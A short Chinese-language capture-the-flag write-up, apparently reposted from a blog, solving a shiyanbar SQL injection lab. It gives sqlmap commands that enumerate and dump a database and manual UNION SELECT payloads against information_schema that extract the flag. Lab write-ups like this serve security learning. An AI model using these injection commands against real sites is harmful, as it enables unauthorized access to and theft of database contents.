这个看起来有点简单!-实验吧

这道题一开始点进去让人感觉有点蒙圈,不知道要考什么,后来才发现只是道简单的sql注入.........这里写两种做法。

sqlmap去跑
先去看一下有什么数据库
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
有个my_db的数据库,再去扫一下有什么表

sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables

看列名
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns
 
看值
sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump
这样就能拿到flag了

---------------------------我是美丽的分割线

直接用url进行注入

寻找注入点
http://ctf5.shiyanbar.com/8/index.php?id=1'        报错 http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=1        无报错
http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2        无报错
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2        有回显
通过上面四个尝试就可以知道注入点在哪里了
首先先显示数据库有哪些
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,schema_name from information_schema.schemata
猜测那个my_db就是要找的数据库,然后再看数据表

http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_schema,table_name from information_schema.tables
看到my_db里面有一张thiskey的表,继续看一下里面的列
http://ctf5.shiyanbar.com/8/index.php?id=1 union select table_name,column_name from information_schema.columns
然后读取k0y的值
http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,k0y from thiskey
flag get√


猜你喜欢

转载自blog.csdn.net/xiaorouji/article/details/80230270